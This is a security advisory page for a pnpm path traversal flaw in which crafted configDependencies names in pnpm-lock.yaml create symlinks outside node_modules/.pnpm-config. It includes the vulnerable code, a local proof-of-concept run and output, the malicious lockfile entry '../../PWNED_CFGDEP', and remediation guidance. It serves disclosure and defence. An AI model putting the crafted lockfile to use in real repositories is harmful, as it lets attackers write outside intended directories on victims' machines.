Skip to content

GHSA-qrv3-253h-g69c CVE-2026-59195

pnpm: Path traversal in configDependencies env lockfile allows symlink creation outside node_modules/.pnpm-config

High npm
Severity
8.2 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.40%
Chance of exploitation in the next 30 days. Higher than 34.41% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Fix
10.34.4
Upgrade pnpm to this version or later

Description

Summary

pnpm accepts package names from the env lockfile configDependencies section and uses those names directly when creating config dependency symlinks under node_modules/.pnpm-config.

A malicious repository can commit a crafted pnpm-lock.yaml whose env-lockfile document contains a traversal-shaped config dependency name such as ../../PWNED_CFGDEP. During pnpm install, pnpm installs the config dependency and creates a symlink at a path derived from that name.

In local testing against pnpm v11.5.1, this caused pnpm to create a symlink outside the intended config dependency directory:

expected root: /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config
actual path:   /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP

This works with --ignore-scripts, so it does not rely on lifecycle script execution.

Vulnerable behavior

The vulnerable behavior appears to be that configDependencies keys from the env lockfile are trusted as package names and used in filesystem paths without rejecting traversal components.

The relevant pattern is:

const configModulesDir = path.join(opts.rootDir, 'node_modules/.pnpm-config')

for (const [pkgName, pkg] of Object.entries(normalizedDeps)) {
  const configDepPath = path.join(configModulesDir, pkgName)

  const pkgDirInGlobalVirtualStore = path.join(
    globalVirtualStoreDir,
    relPath,
    'node_modules',
    pkgName
  )

  await symlinkDir(pkgDirInGlobalVirtualStore, configDepPath)
}

If pkgName is attacker-controlled and contains .., then path.join(configModulesDir, pkgName) can resolve outside node_modules/.pnpm-config.

Impact

A malicious project can cause pnpm to create symlinks outside the intended node_modules/.pnpm-config directory during install.

This gives an attacker a filesystem write primitive in the victim project directory, and potentially outside it with deeper traversal payloads, depending on path permissions and platform behavior.

The issue is especially relevant because:

  • The malicious input is committed in pnpm-lock.yaml.
  • The issue is triggered during pnpm install.
  • It works with --ignore-scripts.
  • It occurs in the config dependency installation path, before ordinary dependency installation.
  • The user only needs to install a malicious or compromised repository.

Local proof of concept

The following local-only PoC creates a temporary project, starts a local fake registry on 127.0.0.1, writes a malicious env-lockfile entry, runs pnpm, and checks whether pnpm created a symlink outside node_modules/.pnpm-config.

Command used:

python3 ../pnpm_configdeps_path_traversal_poc.py \
  --pnpm-cmd "node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs" \
  --keep 2>&1 | tee /tmp/pnpm-configdeps-poc.log

Observed output:

[+] Test project:       /tmp/pnpm-cfgdep-poc-sznwgunx/victim
[+] Local registry:     http://127.0.0.1:36545/
[+] Store dir:          /tmp/pnpm-cfgdep-poc-sznwgunx/store
[+] Malicious name:     '../../PWNED_CFGDEP'
[+] Intended cfg root:  /tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config
[+] Traversal sink:     /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
[+] Lockfile written:   /tmp/pnpm-cfgdep-poc-sznwgunx/victim/pnpm-lock.yaml
[+] Running: node /home/ethical/pnpm-main/pnpm/bin/pnpm.cjs install --ignore-scripts --config.confirmModulesPurge=false --reporter=append-only --store-dir /tmp/pnpm-cfgdep-poc-sznwgunx/store --registry http://127.0.0.1:36545/

pnpm output:

Installing config dependencies...
Installed config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0
Already up to date

Done in 906ms using pnpm v11.5.1

The PoC then detected the escaped symlink:

[+] Traversal sink status: symlink -> ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP

[VULNERABLE] pnpm created/modified a path derived from a lockfile package name outside node_modules/.pnpm-config
            sink = /tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP
            readlink = ../store/v11/PWNED_CFGDEP/1.0.0/PWNED_CFGDEP

Malicious lockfile structure

The malicious input is an env-lockfile configDependencies key containing traversal components:

importers:
  .:
    configDependencies:
      legit-config-dep:
        specifier: '1.0.0'
        version: '1.0.0'
      '../../PWNED_CFGDEP':
        specifier: '1.0.0'
        version: '1.0.0'

pnpm accepts the traversal-shaped name and reports it as installed:

Installed config dependencies: ../../PWNED_CFGDEP@1.0.0, legit-config-dep@1.0.0

Security boundary violation

The intended config dependency root was:

/tmp/pnpm-cfgdep-poc-sznwgunx/victim/node_modules/.pnpm-config

But pnpm created:

/tmp/pnpm-cfgdep-poc-sznwgunx/victim/PWNED_CFGDEP

This demonstrates that a config dependency name from the lockfile can escape the directory where config dependencies should be linked.

Suggested remediation

Validate every configDependencies key loaded from the env lockfile before using it as a package name or path component.

Recommended fixes:

  1. Reject env-lockfile configDependencies names that are not valid npm package names.

  2. Reject names containing absolute paths, . components, .. components, backslashes, or platform-specific path separators.

  3. Use containment-checked path joining before creating symlinks:

    • resolve the final destination path,
    • verify it remains inside node_modules/.pnpm-config,
    • reject if it escapes.
  4. Apply the same validation to config dependency subdependencies and optional dependency names read from the env lockfile.

  5. Intersect env-lockfile configDependencies with the effective pnpm-workspace.yaml configDependencies before installing, so extra lockfile-only entries are rejected.

A safe destination check should enforce behavior equivalent to:

const dest = path.resolve(configModulesDir, pkgName)

if (!dest.startsWith(path.resolve(configModulesDir) + path.sep)) {
  throw new Error(`Invalid config dependency name: ${pkgName}`)
}

Name validation should happen before this check, not instead of it.

Affected versions

npm

PackageVulnerableFixed in
pnpm
< 10.34.4
10.34.4
pnpm
>= 11.0.0, < 11.8.0
11.8.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

pnpm npm → 10.34.4

npm
npm install pnpm@10.34.4
yarn
yarn add pnpm@10.34.4
pnpm
pnpm add pnpm@10.34.4

Severity breakdown

CVSS 3.1 8.2

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
None
Integrity
High
Availability
Low

Weakness

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-vx52-2968-3vc6
pnpm: Environment secrets exfiltrated via env-placeholder expansion in proxy settings read from an untrusted pnpm-workspace.yaml
High Also affects pnpm
GHSA-2rx9-3g3h-c2jv
pnpm: pacquet trust-lockfile install can create dependency symlinks outside the project
High Also affects pnpm
GHSA-vq4v-j7r6-jq4m
pnpm: A tarball dependency's manifest `name` escapes node_modules → arbitrary file write/overwrite on install
High Also affects pnpm
GHSA-c59q-g84q-2gj5
pnpm: Virtual store linker path traversal via unvalidated depPath name in lockfileToDepGraph
High Also affects pnpm
GHSA-72r4-9c5j-mj57
pnpm: `patch-remove` could delete project-selected files outside the patches directory
High Also affects pnpm
GHSA-fr4h-3cph-29xv
pnpm: Hoisted install imports lockfile alias outside node_modules
High Also affects pnpm
GHSA-v23m-ccfg-pq9h
pnpm: `stage download` writes outside its destination directory via manifest name/version traversal
High Also affects pnpm
GHSA-4gxm-v5v7-fqc4
pnpm: Reserved bin name deletes PNPM_HOME during global remove
Medium Also affects pnpm
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor